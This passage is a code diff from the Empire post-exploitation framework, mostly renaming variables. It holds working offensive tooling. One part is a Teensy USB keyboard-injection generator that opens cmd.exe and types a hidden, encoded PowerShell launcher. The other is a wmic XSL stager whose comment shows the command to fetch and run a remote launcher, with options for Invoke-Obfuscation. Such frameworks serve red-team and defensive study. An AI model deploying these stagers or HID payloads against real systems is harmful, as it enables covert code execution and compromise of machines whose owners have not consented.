teensyCode += " Keyboard.send_now();\n" - teensyCode += " clearKeys();\n" - teensyCode += "}\n\n" - teensyCode += "void win_openCmd(void) {\n" - teensyCode += " delay(300);\n" - teensyCode += " win_run();\n" - teensyCode += " Keyboard.print(\"cmd.exe\");\n" - teensyCode += " Keyboard.set_key1(KEY_ENTER);\n" - teensyCode += " Keyboard.send_now();\n" - teensyCode += " clearKeys();\n" - teensyCode += "}\n\n" - teensyCode += "void empire(void) {\n" - teensyCode += " wait_for_drivers();\n" - teensyCode += " win_minWindows();\n" - teensyCode += " delay(1000);\n" - teensyCode += " win_openCmd();\n" - teensyCode += " delay(1000);\n" - teensyCode += " Keyboard.print(\"powershell -W Hidden -nop -noni -enc \");\n" - teensyCode += " " - teensyCode += sendEnc - teensyCode += " Keyboard.set_key1(KEY_ENTER);\n" - teensyCode += " Keyboard.send_now();\n" - teensyCode += " clearKeys();\n" - teensyCode += " win_restoreWindows();\n" - teensyCode += "}\n\n" - teensyCode += "void setup(void) {\n" - teensyCode += " empire();\n" - teensyCode += "}\n\n" - teensyCode += "void loop() {}" - - return teensyCode + send_enc = "Keyboard.print(\"" + send_enc += enc + send_enc += "\");\n" + teensy_code = "unsigned int lock_check_wait = 1000;\n" + teensy_code += "int ledKeys(void) {return int(keyboard_leds);}\n" + teensy_code += "boolean isLockOn(void) {\n" + teensy_code += " return ((ledKeys() & 2) == 2) ? true : false;\n" + teensy_code += "}\n\n" + teensy_code += "void clearKeys (){\n" + teensy_code += " delay(200);\n" + teensy_code += " Keyboard.set_key1(0);\n" + teensy_code += " Keyboard.set_key2(0);\n" + teensy_code += " Keyboard.set_key3(0);\n" + teensy_code += " Keyboard.set_key4(0);\n" + teensy_code += " Keyboard.set_key5(0);\n" + teensy_code += " Keyboard.set_key6(0);\n" + teensy_code += " Keyboard.set_modifier(0);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += "}\n\n" + teensy_code += "void toggleLock(void) {\n" + teensy_code += " Keyboard.set_key1(KEY_CAPS_LOCK);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void wait_for_drivers(void) {\n" + teensy_code += " boolean numLockTrap = isLockOn();\n" + teensy_code += " while(numLockTrap == isLockOn()) {\n" + teensy_code += " toggleLock();\n" + teensy_code += " delay(lock_check_wait);\n" + teensy_code += " }\n" + teensy_code += " toggleLock();\n" + teensy_code += " delay(lock_check_wait);\n" + teensy_code += "}\n\n" + teensy_code += "void win_minWindows(void) {\n" + teensy_code += " delay(300);\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" + teensy_code += " Keyboard.set_key1(KEY_M);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void win_restoreWindows(void) {\n" + teensy_code += " delay(300);\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI | MODIFIERKEY_SHIFT);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " Keyboard.set_key1(KEY_M);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void win_run(void) {\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" + teensy_code += " Keyboard.set_key1(KEY_R);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void win_openCmd(void) {\n" + teensy_code += " delay(300);\n" + teensy_code += " win_run();\n" + teensy_code += " Keyboard.print(\"cmd.exe\");\n" + teensy_code += " Keyboard.set_key1(KEY_ENTER);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void empire(void) {\n" + teensy_code += " wait_for_drivers();\n" + teensy_code += " win_minWindows();\n" + teensy_code += " delay(1000);\n" + teensy_code += " win_openCmd();\n" + teensy_code += " delay(1000);\n" + teensy_code += " Keyboard.print(\"powershell -W Hidden -nop -noni -enc \");\n" + teensy_code += " " + teensy_code += send_enc + teensy_code += " Keyboard.set_key1(KEY_ENTER);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += " win_restoreWindows();\n" + teensy_code += "}\n\n" + teensy_code += "void setup(void) {\n" + teensy_code += " empire();\n" + teensy_code += "}\n\n" + teensy_code += "void loop() {}" + + return teensy_code diff --git a/empire/server/stagers/windows/wmic.py b/empire/server/stagers/windows/wmic.py index 059d6bdbb..d20000fd0 100644 --- a/empire/server/stagers/windows/wmic.py +++ b/empire/server/stagers/windows/wmic.py @@ -2,6 +2,7 @@ from builtins import object from empire.server.common import helpers + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -9,72 +10,72 @@ def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'wmic_xsl', - 'Author': ['@subTee','@mattifestation'], + 'Author': ['@subTee', '@mattifestation'], - 'Description': ('Generates an XSL stylesheets file to be run with wmic.exe'), + 'Description': 'Generates an XSL stylesheets file to be run with wmic.exe', - 'Comments': [ - 'On the endpoint simply launch wmic os get /format:"http://server/launcher.xsl"' - ] + 'Comments': ['On the endpoint simply launch wmic os get /format:"http://server/launcher.xsl"'] } # any options needed by the stager, settable during runtime self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'powershell' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'powershell', + 'SuggestedValues': ['powershell'], + 'Strict': True }, - 'StagerRetries' : { - 'Description' : 'Times for the stager to retry connecting.', - 'Required' : False, - 'Value' : '0' + 'StagerRetries': { + 'Description': 'Times for the stager to retry connecting.', + 'Required': False, + 'Value': '0' }, - 'OutFile' : { - 'Description' : 'Filename that should be used for the generated output, otherwise returned as a string.', - 'Required' : False, - 'Value' : 'launcher.xsl' + 'OutFile': { + 'Description': 'Filename that should be used for the generated output, otherwise returned as a string.', + 'Required': False, + 'Value': 'launcher.xsl' }, - 'Base64' : { - 'Description' : 'Switch. Base64 encode the output.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'Base64': { + 'Description': 'Switch. Base64 encode the output.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'Obfuscate' : { - 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', - 'Required' : False, - 'Value' : 'False', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'Obfuscate': { + 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required': False, + 'Value': 'False', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'ObfuscateCommand' : { - 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', - 'Required' : False, - 'Value' : r'Token\All\1,Launcher\STDIN++\12467' + 'ObfuscateCommand': { + 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required': False, + 'Value': r'Token\All\1,Launcher\STDIN++\12467' }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'Proxy' : { - 'Description' : 'Proxy to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'Proxy': { + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'ProxyCreds' : { - 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'ProxyCreds': { + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -88,30 +89,33 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] + listener_name = self.options['Listener']['Value'] base64 = self.options['Base64']['Value'] obfuscate = self.options['Obfuscate']['Value'] - obfuscateCommand = self.options['ObfuscateCommand']['Value'] - userAgent = self.options['UserAgent']['Value'] + obfuscate_command = self.options['ObfuscateCommand']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] encode = False if base64.lower() == "true": encode = True - obfuscateScript = False + obfuscate_script = False if obfuscate.lower() == "true": - obfuscateScript = True + obfuscate_script = True # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + launcher = self.mainMenu.stagers.generate_launcher(listener_name, language=language, encode=encode, + obfuscate=obfuscate_script, + obfuscationCommand=obfuscate_command, userAgent=user_agent, + proxy=proxy, proxyCreds=proxy_creds, + stagerRetries=stager_retries) if launcher == "": print(helpers.color("[!] Error in launcher command generation."))